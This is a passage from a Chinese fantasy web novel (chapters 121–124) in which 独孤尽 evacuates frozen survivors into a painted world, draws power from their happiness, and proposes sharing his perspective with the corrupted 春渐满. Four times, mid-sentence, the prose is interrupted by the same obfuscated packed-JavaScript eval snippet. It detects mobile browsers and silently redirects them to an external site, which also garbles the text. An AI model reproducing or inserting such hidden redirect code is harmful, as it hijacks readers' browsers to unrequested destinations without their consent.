将他的意识再次吞噬,那些长在背后的枝条愈发猖狂,胡乱在天空中抽动,像极了天庭在行刑,一鞭子又一鞭子抽在谁身上。 会痛,很痛! 这东西竟然抽在了春渐满自己身上! 独孤尽反应过来扑上去挡鞭的时候已经来不及了! 夺目的火红颜色蹿上了天际。 121. 与画中世界对调? 飞溅的鲜血像红梅一样绽放在空中,又被枝条挥散。 春渐满双目赤红,身上的衣物也破裂开来,血液一出身体就被冻成了一朵朵冰花。 独孤尽想都没想,直接释放了治愈能力,目标当然是春渐满。 可过了好一会儿,他发现自己的能量根本没用出去,抬头时,就瞧见春渐满根本没被他治愈,反而那些结成冰的血柱像刺一样包裹住了他。 “你们欺人太甚。”春渐满的声音没有一点起伏,可里面的怒气能够具现化。 想要结伴同行是不可能的了,他们势必成为敌人,一方战胜一方才能罢休。 独孤尽不可能真的在这种情况下跟春渐满拼个你死我活,他选择逃离。 逃避虽然可耻,但是管用。 前提是……他得逃得够快! 由于目标是他,其它的神兽倒是悠哉悠哉,根本没有受到威胁。 只有独孤尽在一往无前。 可这次他脚下的冰在随着春渐满的追赶而开裂,连同冰面下的大地,也一寸寸裂了开来。 这是跟地震一样恐怖的事情,被破坏的地面需要耗时耗力去修复,所花的金钱与人力都不可计量。 独孤尽自认他没有古神之力,能够捏造天地,无法将这些伤害恢复如初。 如果……这在他的画里就好了。 那他就可以完全掌控这个世界,轻而易举把那些裂缝都修复,从此人们再也不用担心有什么灾难发生,绝对会风调雨顺,即便坏人还是会做坏事,但在他的掌控下,这些人会没有机会做坏事。 独孤尽不知自己这是怎么了,脑海里突然有根弦断了,像是灵机一动一般,他竟然有了一个狂妄到极致的想法。 也许…… 他可以把现世和他画里的世界对调。 只要把所有人类转移到他画里,把那边建造得和现世一模一样,不就可以了?! 春渐满虽总晚独孤尽一步,但身上缠绕的黑雾却像风一样,追上了独孤尽,有一缕钻进了独孤尽的骨缝。 “对啊,只要把世界对调,一切就解决了。”独孤尽像是找到了解决之法。 “可我现在……还没完全恢复能力……连自己都无法回到画里……”独孤尽突然顿住脚步,扭头看了一眼早不知道被他甩到多远的春渐满。 他好像看不见对方了。 “主人?我们还要跑吗?”应龙追了上来,它作为创始神龙,只是一眼就看到了独孤尽眼里的痴狂。 “继续跑,应龙,你随途留意那些需要救治的人,把他们一同带上。”虽然他现在能力有限,但神兽们依旧神通广大,它们无论在哪个世界都一样,只不过在画里的时候,能受他约束,在现世……他应该是约束不了这些神兽的。 应龙多看了独孤尽好几眼,这种决定听起来不像独孤尽会做的事。 “你是主人吗?”应龙是心甘情愿被独孤尽收服的,只因,独孤尽为的是天下苍生,它才会心服口服,纵使它有一身毁灭世界的本领,也乐意为他所用。 “我……”独孤尽先是恼怒,随后连他自己都愣住了。 是啊,他还是独孤尽吗?怎么会冒出这么可怕的想法。 他刚刚有一瞬把人类当成了自己恢复能力的工具,完全没有把他们当成人。 “主人如果迷失了自己,恕我难以从命。”这是应龙第一次拒绝独孤尽,他没走,依旧跟在独孤尽身边,却不为他做任何事。 独孤尽跑路的步子都小了,独孤尽从来都不明白这些神兽为什么会喊他主人,为什么会跟随他,听他使唤,现在……他也不明白这些神兽为什么又不听话了。 “应龙,你有办法回画里吗?”独孤尽想要找到画,这是关键所在。 “你可知道,我们并非自行逃离。”应龙停了步子,他不想再跟独孤尽这么漫无目的地逃跑了。 “连你们也没办法回去……”独孤尽想要蛊惑应龙,让他相信自己的说辞,可那些话他自己都说不出口,连他自己都骗不过。 他确实是因为那个疯狂的念头想要夺回自己的能力,无关其他。 “你是远古之时就掌管四季、山河的神龙,甚至可以称你为神明,你该明白,现在这个世界,人类无法生存下去。”独孤尽望着万里冰封的末世场景,人类在这种环境下呆不了多久就会换上雪盲症,根本无法进行任何事情,无法发展,无法生存。 “你还是我们的主人吗?”应龙再次问出了它的困惑。 它需要确认。 确认面前的这位,到底是不是值得它追随的。 “是,我是!”这次独孤尽没有犹豫,异常坚定给出了回答。 他眼里重新迸发出晶亮的光,那是代表着新生与希望的光。 如果春渐满还是从前那个他,那他做梦也不会想到,从前只想当咸鱼的独孤尽会因为他而背负起那些他根本不想背负的。 这对于还没恢复从前记忆的独孤尽来说,太过沉重,他现在可还是个二十多岁的年轻人…… “希望你记住现在的自己。”应龙点了点头,如果独孤尽能够一直保持正念,那它倒是可以助他一臂之力。 应龙的能力太过逆天,它真心帮忙的时候,真如同神明一般,将那些犄角旮旯里的难民都给独孤尽搜罗来了。 独孤尽看着自己面前几乎堆成了冰山的受难人类,有点头疼了。 雄心壮志一时爽,真正做起来,又是另一回事了。 应龙盘腿坐在旁边小憩,他的活算是告一段落了,那些伺候人的事他是做不了的,只能等其它神兽找到这边帮独孤尽了。 独孤尽想要找人诉诉苦都找不着,被他治愈的人也很懵,从他们的视角,自己好端端就出现在了这里,他们没有被冰封期间的记忆,只记得自己先前是在别的地方。 而且,在他们面前还有这么多被冰封的人,这个场景过于骇人,好多人都觉得自己是在做梦,根本缓不过劲。 独孤尽只能麻痹自己,一个接一个救人,但这根本没用,他的救治能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689018|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实变强了,可无法获得快乐与幸福这类积极情绪,他就没有办法恢复他先前的能力。 “你……过来。”他朝着已经恢复的人那边招了招手。 没人知道他是冲着谁招的手,所以也没人给出回应。 “就你,穿蓝色夹克的,你过来。”独孤尽只能给出了明确的特征,让他避无可避。 这是个看起来像大学生的男生,他眼里透露着清澈的愚蠢,愣头愣脑往前走了一步,又往回退了一步。 他可不敢去跟这个不知道是人是鬼是妖的说话。 独孤尽下意识蹙了蹙眉,“过来。” “你快去吧,舍你一个,救我们一群。”旁边有更怂的人小声开口。 这话像是个导火线,还没把男生惹恼,倒是把独孤尽给点着了。 这些人是怎么回事,他们也醒了有一段时间了,没看到他做的是救人的事吗?! 有点脑子想一想都能猜到是谁救了他们吧?! 烦躁的情绪一瞬间涌上来,独孤尽暗自深吸了一口气提醒自己不要被影响。 “我不要你过来了,你……过来。”独孤尽看似平静,可手却指向了那个小声开口的人。 事情落到自己头上,他直接吓地瘫软在地,“我我……我不好吃,我这么瘦,没几两肉……” “你把我当什么?我要吃你们还需要救你们吗?”独孤尽这会儿是真有点儿哭笑不得了。 “可……可是……熊都只吃活的……”那人也不知道是真怕还是假怕,一边发抖一边顶嘴。 “别,别吓他了,我过来吧。”大学生用他清澈的眼神视死如归地盯着独孤尽,他吞了吞口水,“我相信你不是要吃我们。” 说完他就一步一步朝独孤尽走了过去。 一直走到独孤尽面前,他还在紧张地直吞口水。 看得独孤尽都想给他递水,可惜这个位置太过偏僻,并没有水源。 “告诉我,你最开心的事。”独孤尽不知道要怎么把快乐、幸福这类积极的情绪引出来,只能一点点试探。 期望人类在回忆过往的时候,直接感受那些积极情绪。 愚蠢的大学生果然足够清澈,他原本还有些紧张,却不知道想到了什么,突然笑了出来。 独孤尽立马感受到了一点能量,这点能量是在恢复他遗失的那些能力。 独孤尽没有打断他,希望他能一直回忆一直笑,可纵使是大学生,也不可能这么傻下去,他笑了一会儿,像是反应过来自己身处何地,表情一下僵住了,极其尴尬地想找个地缝钻进去。 “你想到了什么?说给我听。”独孤尽又追问了一遍。 “想到我买的外卖被猫偷吃了……”这次他没有再回忆,而是硬邦邦地说了出来。 “你再想想其他开心的事,这应该不是你最开心的事吧?”独孤尽尽量让自己的语气听起来柔软。 “其他的……啊,那就要说到那次我兄弟……”他还没说完就被脑海里的画面逗到嘎嘎大笑。 122. 开始转移人群 众人看着清澈的大学生在那笑了半天,也不知道他在笑什么,关键是,旁边还有个那么强的人在盯着他笑,丝毫没有阻止他的意思。 独孤尽当然不希望他停下来,虽然他也觉得男生说出来的话挺冷的,但只要他自己想到了可乐的,能够让他自己分泌快乐情绪就够了。 他看着源源不断的能量往他这边涌,一边吸收一边用眼神警告其他人,切莫打断。 应龙坐得比较远,可也受不住男生这疯魔了的笑,浑身鸡皮疙瘩都起来了。 他施展了一个小法术,隔绝了周围的声音,继续闭目养神。 “哈哈哈哈哈……嗝儿……”男生笑着笑着突然打个了嗝,这一打嗝把他的快乐情绪打断了。 独孤尽深呼吸了一下,把能量运化,旋即立刻把目光落到了别人身上。 其他人像极了即将被老师点名的学生,纷纷低下了头,不敢跟独孤尽对上目光,生怕被点名。 独孤尽才不管别人怎么想,他看着打嗝不止的男生,抛了个治愈术给他,让他停止了打嗝,“你去,选一个你觉得比较容易乐的人出来。” 难题抛给了男生,男生脸都憋红了,也不敢点人。 这太得罪人了,他虽然是清澈的大学生,但他真不蠢。 “如果你不点别人,就继续想开心的事说出来。”独孤尽也吃不准还有谁能像这个男生一样提供这么多能量,只能继续压榨同一个人。 “啊?我……我笑不动了,叔……要不你上来吧,很简单的,只要想想好玩的事,乐一会儿就行。”男生踟蹰许久,走过去拉了一个大叔的胳膊,直接把他的手举了起来。 “饶了我吧!我平时赚钱养家养孩子全是糟心事,已经很久都没真心笑过了,你要让我想开心的事,跟杀了我也差不多了!”这位叔看起来得有个四五十岁了,脸上全是被工作摧残的沧桑。 独孤尽摆摆手,“每个人都必须想一件开心的事。” “谁先乐出来,我有奖励。”独孤尽决定众筹,让所有人一起想说不定更快,而且笑声是会传染的,说不定什么时候这些人能开怀大笑了。 众人更加愁眉苦脸了,他们本就遇到了不顺的事,现在生死都不知道该怎么办,更别说让他们乐呵了。 还是学生的服从性高,人群里还有几个学生,他们听到之后,也没想别的,真去想自己开心的事了。 这一想,平时自己做过或者同学做过的傻缺事都冒出来了,像发了癫一样,笑声此起彼伏,一时间真的缓和了气氛。 独孤尽稍微离他们远了一些,留了空间给大家,毕竟他站在那可能就像个老师一样,学生会不自在。 反正只要有积极情绪,他就能吸收。 这回的欢声笑语持续得比先前久很多,独孤尽逐渐能够感知到周围的一切了,他甚至觉得只要他想,现在就能瞬移回画里。 不过现在人太多,他不能做这么显眼的事。 等笑声逐渐停了,空气又凝滞起来,落针可闻,独孤尽才重新救治其他人。 起码要把应龙给他搜罗过来的这些冰人给全化解了。 兴许是刚才解放了天性,让大家没那么紧张了,有的壮着胆子也敢看独孤尽到底在做什么了。 这一看还真对独孤尽产生了浓厚的兴趣。 这人竟然能徒手解冻,还能让大家“起死回生”! 而且,他一直也没做什么对不起大家的事,可见,是他们的救命恩人。 “大哥哥,我好饿,能不能帮我治疗一下。”有个不知道谁家的小女孩扯了扯独孤尽的衣袖。 她觉得肚子饿也是病,既然大家都在念叨大哥哥能够治疗病症,那一定也能治疗她饿肚子。 “离这里最近的便利店在……”独孤尽感知了一下,还挺远的,起码都走一公里,让她这样一个小孩子独自前行肯定是不行的。 独孤尽起了身,走到那些已经恢复精神的人旁边,“你们几个朝北边走,一公里的地方有一家便利店,里面应该有食物,找个货物箱取一些过来,吃的和喝的都要,水多带一些,火柴,打火机,也多拿一些。” “动作快点,这里还有妇女、儿童挨饿,如果你们敢擅自逃跑,我会亲自抓你们回来。”独孤尽不知道自己现在能力究竟恢复到了几成,但他现在感觉浑身轻松,就连精神也极好,不容易焦躁发火了。 按理说他该自己过去拿,顺便试试他的能力,但他实在不想搬重物,这种体力活还是交给别人吧。 “好,我们回去取食物和水回来,你们在这里等着。”那几人虽然也饿,但一想到马上就能有水和食物了,也就有力气了,甚至还神采飞扬和留下的人做了保证,挥了挥手。 独孤尽发觉自己已经完全可以靠感知感觉到对方走了多远,走到了哪里,想来他的感知力应该恢复得差不多了。 这也就让他发觉,那几人在路上不知道发生了什么,竟然聚在一起起码得有五分钟都没再往前走,就在他准备让应龙过去看情况的时候,那几人又继续前行了,一直到拿回物资都再也没出现其他异常举动。 独孤尽虽然想知道那几分钟里,他们到底在干什么,但看在食物和水的功劳上,他可以暂时睁一只眼闭一只眼,如果他们之后再没异动,他就既往不咎。 小女孩吃到了热腾腾的泡面,开心地吸溜着汤,幸福的情绪不断飘出来,其他吃到了食物的人也或多或少洋溢出了幸福。 饱暖真的能让人获得最原始的快乐。 “大哥哥!谢谢你!”小女孩吃完东西,开心地跑到独孤尽身边,冲他比了个爱心。 “怎么不谢谢他们?是他们帮忙拿回的食物。”独孤尽微抬下颚,指了指不远处仅仅因为食物就受到大家拥戴的几人。 “肯定也要谢谢他们的,但是是大哥哥告诉他们食物在哪里,我们才能吃到这么好吃的东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689019|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女孩思路很清晰,她露出了几颗洁白的牙齿,眉眼都弯了起来。 “既如此,你愿意帮我去安抚那些刚醒过来的人吗?”独孤尽看着她不知道怎么就想到了耳鼠。 “好啊!我也很想给大哥哥帮忙!”小女孩兴高采烈走到刚被独孤尽救治苏醒的人旁边,细细跟他们讲现在的情况。 有了这个小帮手,人们的情绪稳定得更快了,就连积极情绪也总是源源不断涌出来,虽然不像之前那么密集那么浓烈,但接连不断,足够久。 一直到独孤尽把人都救完,已经过去了好几天,几天呆下来,大家都情绪又焦躁起来了。 毕竟人不是其他动物,没办法因为保暖就生活下去,还需要生活质量,他们在这里过得和原始人一样,实在没有生活质量可言,连洗脸都稍微用一点湿巾纸,毕竟水是稀有物,可不能浪费在清洗上。 “差不多了……”独孤尽握了握拳,他凝神静气感受了一下自己的能力,想要把世界整个对调虽然难,但分批把人运过去应该还好。 只不过往后,他就再也没有属于自己的空间了。 独孤尽稍微迟疑了一秒,就下定了决心。 “应龙,过来帮我,我要开始了。”独孤尽想先从这批人这边入手。 毕竟这些人这几天都在身边,他们应该已经能接受很多稀奇古怪的事了,哪怕有那么一星半点儿的失重感应该也不会让他们精神崩溃。 独孤尽看了应龙一眼,往旁边走了走,找到了一个建筑物,遮挡住了他的身形。 心念转动,只花了一瞬,他就从回到了熟悉的空间。 画里早就不是他当初布置的模样,这下他也不用心疼了,可以直接改造。 似乎,冥冥之中,一切皆有定数。 这回独孤尽没花多少力气,就把他印象中的城市搬到了画中,心念转动,建造高楼大厦简直太过容易,但要稳定住,不去想其他的却很难。 好在他先前就在画里建造过属于自己的世界,这点控制力对他来说小菜一碟。 一直把一座城市建造好,独孤尽才抹了抹头上的汗,他现在没功夫找画,先回了现世。 接下来,他趁着大家精神不济,直接把人转移到了画里。 那些人只觉得世界晃了一晃,一切都恢复了正常。 是熟悉的秋日,熟悉的街道,熟悉的……人。 他们不是做梦,他们确实遭遇了危难,不然,身边怎么会是这些人?! “怎么回事?!刚刚我们还在冰面上冷得瑟瑟发抖,现在那些冰去哪了?还有救我们的恩人呢?”他们发现了关键人物的失踪。 不光是他们的救命恩人,还有一位在旁边只顾休息,几乎一声不吭的那位,也不见了。 “我们是不是精神病患者,这些都是我们的臆想?不然怎么这几天碰到的都是怪事?!”有人快要精神错乱了,他觉得一切的一切都那么不合理。 123. 博学多才的春老师 明明该是熟悉的世界,却给每个人都带来了陌生。 男大学生是最先活动起来的,已经不是冰天雪地,无论那条路都是那么宽敞明亮,秋日暖阳照耀着,像是新生了一般。 他胡乱叫了几声,冲进无人的店铺,想在里面挑些自己喜欢吃的,却发现这里的收银已经通了电,可以人脸识别结账。 这可就为难他了,如果他拿了东西不付钱,岂不是会被监控拍到,到时候把他抓起来怎么办?但这个店里本来就没人,也不知道这家店的主人现在身在何处,他就算付了钱也是白付。 权衡再三,他还是没付钱,反正这几天经历了这么多,就算到时候真要抓他,他先把罚款交了,再苦兮兮地表述一下困境,经历过这些的人自然能宽容他。 吃上了免费自助的男大学生压根就不在意这些巨变,可其他人就没这么粗线条了。 有一些已经精神将近错乱,开始想要做些不合常理的事,而另一些则唉声叹气,不断散发负面情绪。 这些情绪都被独孤尽接收到了,他警惕地盯着那些人,只要负面情绪到达一定的浓度,他的能力就会下降,如果放任他们这般,很快大家都会被困在画的世界里,永远无法出去了。 现世还有很多神兽跟人类独孤尽还没找到,没能将大家都瞬移到画的世界里,他还不能放心。 “回倒你们本该在的地方,把破坏的重新建设好。”独孤尽能把一切都建设得像那么回事,可实际上仍旧有很多不同,比如男大学生纠结的该不该付款,实际上根本就没有网络。 不能这里气候适宜,能够住人就已经很不错了。 众人看到独孤尽出现,心里那些烦躁总算消散了些,就像是一盘散沙终于见到了主心骨。 “这到底是什么地方?” “是你们该好好生活的世界,难道说,你们更喜欢冰天雪地,寸步难行?”独孤尽不想被刨根问底,再问下去,他可没办法保证自己能够心平气和地去说谎话。 “老许,你问这么多干什么,反正日子是一天比一天好了,现在哪儿都能去能动,而且这里买东西还不用……”不用花钱这件事还没说出口,他就捂住了自己的嘴。 有些人并不喜欢占小便宜,想要用人脸识别,虽然机器报了扣除多少元,可他们的手机却没有半点提示。 甚至他们的手机仍旧没有信号。 “周和,你就想活得这么不明不白吗?!”老许就是不爱占小便宜的那些人中的一个,他最信奉的就是人活一世,那就要活个明白,什么事都稀里糊涂的,还不如不活。 可周和跟他意见相左,他就只想活下去,随便怎么活都行,活得开心就行。 独孤尽显然不可能站在老许这边,他需要的就是像周和这样随时能够提供积极情绪的人。 况且,现在都什么情况了,还要活得那么清楚有什么用? “如果有人不想在这里生存可以举手,我负责把你们送回冰天雪地。”独孤尽可不想把那些不断提供负面情绪的人留在画的世界里,否则他靠这么近,迟早要出事。 老许立马就想举手,被周和强行拉了下来。 “老许,你可别犯傻,不为你自己也要为你家里人考虑考虑吧……”周和跟老许是在同一个公司的打工人,周和的职位甚至比老许还要高上那么一点,老许为人本分,做事踏实,可就是做人太过较真,很多时候会惹人不快,也就是这样,他只能一直呆在最基层。 周和也不是什么坏人,纵然比老许职位高那么一点,也从未在工作中给他使绊子。 “家里人……不知道她们还有没有活着……”老许的神情总算软化了点,没有那么死倔了。 其他人也没一个举手说要自寻死路的。 独孤尽这才用眼神警告了他们一下,重新回到现世。 他先是把九尾狐、耳鼠、文鳐鱼和其他被他救治过的人都找到,然后就神不知鬼不觉把人瞬移到了画里。 画里的世界已经变得面目全非,九尾狐、耳鼠和文鳐鱼都差点没认出来,但这里的气场没变,这才没闹出幺蛾子。 “主人,春老师朝你那边追过去了,你有见到他吗?”文鳐鱼不放心,小声问了出来。 当时场面过于混乱,它们几个都没能跟上那个速度,但它们看到春老师紧紧跟在后面。 “没……我们把他甩掉了,你们后来有撞见他吗?”独孤尽现在听到春渐满都头皮发麻,他完全不知道自己要怎么面对了。 “我们不是春老师的对手,躲起来了,也没再碰见他。” “主人,您一定要救救春老师,他一定也是被那些黑气影响了。”文鳐鱼永远忘不了当时蔓延开来的黑雾。 “我知道,但我们要先保证其他人类的安全,我跟春渐满有一场避不开的硬仗要打,我不希望因为我们波及到其他人类。”独孤尽叹了口气,“你跟耳鼠一起去安抚一下不适应的人,切记要让大家保持愉悦的情绪,一定要留意有谁情绪不好了,即使救治缓解他们的情绪。” “能不能救春老师,就看你们安抚得多好了。”独孤尽说完就只身一人回到了现世。 他反反复复在画的世界和现世中穿梭,一会儿温暖一会儿寒冷,刺激得他忍不住打了个喷嚏。 这个喷嚏打得很不合适,被他踩在脚下的冰层不知怎么突然震颤了一下,裂开了一条口子。 随后这条口子就如地龙翻身一样,越裂越开,直接将地面分割成了两片不同的大陆。 “看来人类有很长一段时间都只能生活在画里了。”独孤尽跃到了一边,眼看着另外一片土地离他越来越远,头疼地往后走。 这么大的动静,想必瞒不过春渐满,他得先离开这里,再找个好地方藏一下。 独孤尽躲进了一栋大楼,这里像是办公区,大楼里建造得极其奢华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689020|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应该是大公司的办公楼。 他才刚进楼没一会儿,就又感受到了外面的异动。 一棵巨型的树缓慢朝着这边移动,虽然速度不快,但胜在波及到的范围很广。 那枝条也不知道是怎么长的,长得能直接捅穿这栋大楼,把它当串烧一样串起来烤一烤。 独孤尽感觉到地面剧烈晃动的时候就知道他猜对了,春渐满还真把这栋楼串了起来。 独孤尽自然不可能傻到在楼里当颗球一样被春渐满摇着,他直接瞬移到了画里。 “碰到你们的春老师了,他又变大了,那棵树真的是参天大树。”独孤尽抹了一把额上的汗,他甚至不知道春渐满还有没有属于自己的意识,毕竟动作是那么地机械,那么地麻木。 “主人,带我去见春老师,我给他治疗。”耳鼠和文鳐鱼几乎是异口同声。 独孤尽摇了摇头,他指了指自己,“我现在也能用治愈术,可治不了,他跟我们看到的世界不一样,我们跟他是相反的。” “治愈术没用,那就只能战了。”九尾狐吹了一口气出来,那气带着丝丝缕缕的黑,“得把这东西从他身体里抽离,估计这样才能恢复。” “而且……要快,兵分两路,阿尽,你去把遗留在那边的人类都弄过来,这样那边就不会有人不停提供黑气,而春老师也就没了养分,我们则看着春老师,一点点把他身体里的黑气抽出来。”九尾狐很聪明,她给出了最有利的建议。 “当时我们不得已被逼出了画,只有你们两个人和画在这里,后来连阿尽你也出来了,那黑气就光攻击春老师了,他受到的影响最大,会变成这样我们都有责任,我们一定要把春老师救回来!”九尾狐转了转眼珠子,又想到了什么,“还记得束缚了我的那棵大树吗?可能花草树木是关键。” “我们想想,再想想,想明白了再行动!” 独孤尽也没再轻举妄动,他扯出了那张他许久没躺过的沙发,侧卧在了上面,凝神静思。 最近这一切发生得太快,快得他没半点时间静下来想想前因后果。 现在被九尾狐这么一提醒,才能彻底静下来想想。 一切是从他们处理完乞讨案和绑架案开始的,是否与那背后的人有关? 他们更加棋高一招? 这些迷雾一样的黑气是什么?究竟怎么渗透进来的? 还有,为什么最后时刻,他和神兽们都出了画的世界,只有春渐满出不去? 会不会……不止是他,连春渐满都有另外一重身份?! 独孤尽越想心越冷,他伸了伸手,变出了一杯热茶,喝了两口才缓解了些许,“你们跟春老师相处的时间比我还长,他平时教你们的时候有没有什么异常?” “异常?春老师博学多才,教我们也很有方法,没什么异常……”耳鼠拽着自己的耳朵苦思冥想,忽然它扬起脸,“有点太博学多才了……” 124. 灵魂附身 这说到春老师的教学,除了独孤尽,大家都深有体会。 毕竟独孤尽以为春渐满只是代替他去教神兽们如何说人言,如何合理地跟人相处的,光是教这些常识就够费劲的了,哪里还有时间再教别的。 可神兽们的学识也是参差不齐的,有那些个连人言都不会说的,自然就也有在人世间晃荡许久,对什么都感兴趣什么都懂的。 那什么都懂的神兽自然就要问一些刁钻的问题。 至于是不是故意刁难春渐满这另说,就说这春渐满吧,还真能回答上。 无论大家问得有多刁钻,即便当下不能回答的,过一段时间他也能给出答案。 独孤尽听耳鼠这么说,想到了一种可能,“他可能寻求互联网的帮助了。” 神兽们在画的世界里最缺的就是网络,对于数字化这块,他们几乎就是白纸,自然不知道这千万年过去,人类已经可以有这么简单的获取答案的方法。 当然,这要是学术上的难题,那查起来也是要费点劲的,可春渐满的身份在这,他既然是那样的职业,查这些也就更轻而易举了。 这并不能说明春渐满有异常。 九尾狐听完又想了会儿,“除此之外,春老师确实没什么可疑的。” “等等,春老师不是人类吗?他可是一下子就有了主人的能力,这不可疑吗?”耳鼠又想到一点。 这点确实是最可疑的地方。 独孤尽至今都没明白,其他人跟“怪奇诊所”的连结更深,可他们从来都不能拥有这种能力。 他的这种能力,先前他当自己只是普通的人类,可现在种种迹象表明,他根本不是普通的人类,那春渐满作为普通的人类,能够在这么短的时间之内就掌握了他的能力,这合理吗? 只有一种可能,春渐满也不是人类。 那他……究竟是什么?! 究竟是什么?! 他现在的异状与树木有关,兴许是能掌控草木生灵的神?妖? 独孤尽能确定的是,春渐满遗忘了属于人类的那部分记忆,现在的他,可能才是真正的他。 此时此刻,春渐满正茫然地看着这个他所不认识的世界发呆,他已经让很多地方都开满了鲜花,可这些地方却没有人类,也没有其他动物。 他之前跟那个怪人交手时,曾见过他目之所及见到的场景。 虽然只是一瞬,但足以震撼他。 那是与他所见截然相反的世界。 如果……他的世界才是真实的,那他这边没有人类也没有其他动物就说得过去了,因为他见到的遍地鲜花其实是冰天雪地。 冰天雪地的世界,怎么可能会有生灵存在呢? 春渐满就这样茫然地停在一处,他看着自己的双手,上面萦绕着自己熟悉的生之气息。 原先他想不起很多事,可他现在渐渐想起来了,自他记事起,他就有这一身的生之气息。 那些寸草不生的地方只要他动动手指,将生之气息渡过去,就能长出让人心旷神怡的花草树木,他也能够通过这些放松身心,变得更强。 只是,他不记得自己从什么时候开始没再做这种事了,再次有意识的时候,就是现在。 他被人指出了,他可能是错的。 春渐满想再见一见那个人,可当时不欢而散后,他就再也找不到那人了。 就像是从这个世界上消失了一样。 他的心底隐隐疼着,那是一种他从未感受过的疼痛,细细密密,平时不怎么疼,只要一想到那人,就像针扎一样,还直往心脏上扎。 看不见的鲜血涌了一股又一股出来。 内心深处也像是有一头野兽要冲出来。 独孤尽再次见到春渐满的时候,是恰巧,他跟神兽们兵分了两路,该是神兽们去救春渐满,他转移人类,可他寻摸到生灵气息的时候,寻摸到了这里,看到的却是春渐满。 而此刻的春渐满身边没有神兽,也没有别的生灵。 他静坐在一片荒茫的苍白中,结冰的地面上倒影出了他孤独的身影。 此刻的他身上没有枝桠,干干净净,一点黑雾都没有。 独孤尽心中一喜,难道是神兽们已经将他身上的黑气都抽干净了? 可下一秒,他的警惕心又起了,因为春渐满始终都没睁开眼,他只是那样坐着。 独孤尽躲在远处观望了足足有两个小时,都没看到春渐满动一下。 这会儿他顾不上别的了,只能朝人走过去。 “满哥!”他甚至喊出了声。 春渐满觉得自己好久都没听见其他生灵的声音了,这突然间听见还真有点不习惯,好半晌才把眼睛睁开。 看到的就是浑身浴血的独孤尽。 “你做了什么?!”他怒不可遏地看着独孤尽手上还有鲜血在横流。 独孤尽擦了擦手上的汁液,他刚刚躲在暗处太紧张,不小心折断了两根树叶。 “没什么啊,等等,你看到了什么?先跟我说,别产生误会。”独孤尽反应过来春渐满一直在盯着他的手看了。 “血。”春渐满言简意赅吐出这个字。 “不不不,这不是血,我没伤害……呃,我伤害了两片树叶,但除此之外我没再伤害别的了。”独孤尽高举双手,表示自己真的很无辜。 “那你为何浑身浴血?”春渐满能理解折损两片树叶,但无法想象独孤尽这一身,那得毁了一片林子才行。 “身上?我身上什么都没有啊……”独孤尽说完,想起来自己穿的衣服可都是棉质的,如果按照春渐满的视角,那他却是该浴血。 “我穿的衣服是纯棉的。”独孤尽挠了挠头。 “如此,你找我什么事?找打?”春渐满可还没忘了他们有一场大战还没开始,独孤尽就跑没影了。 “我不是来跟你打架的,是想问你个问题。”独孤尽环顾了一下四周,仍旧没有见到神兽们的身影,又感知了一番,实在无果才硬着头皮往下说,“你愿意把自己的视角暂时跟我同步吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689021|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不明白你的意思。” “我的意思是,暂时把你的灵魂附在我身上,这样你就能通过我的视角看世界了。”独孤尽也知道这件事无论对谁来说,都需要极大的信任才能去做。 如果是以前的春渐满,大抵是能全身心信任他的,可现在的春渐满,不在他说出这句话后直接开战就算是好的了。 显然春渐满还是好的,他没有立马开战,而是终于起了身,绕着独孤尽转了一圈,“你有能力将我的灵魂抽离,放到自己身上?不怕我直接夺了你的身体?” 毕竟,这件事对双方来说,都很危险。 “我有这个能力,我也绝对百分之百信任你。”独孤尽拍了拍自己的胸口,“我的心里可都是你,这点只要你附到我身上,就会明白了。” “就是不知道你愿不愿意?” 过了好一会儿,春渐满才微微点头,“我可暂且试上一试。” 独孤尽不敢相信春渐满就这样答应了,早先他们可是差点儿就要拼个你死我活了。 而且,不知道是不是他的错觉,他觉得春渐满的脾气比之前好了很多,也许九尾狐说得对,只要他把这边的人类全都转移走,那春渐满就没法再吸收那些黑气,也就会变得正常了。 可不,在他坚持不懈转移了一波又一波人类后,他的满哥看起来平和多了。 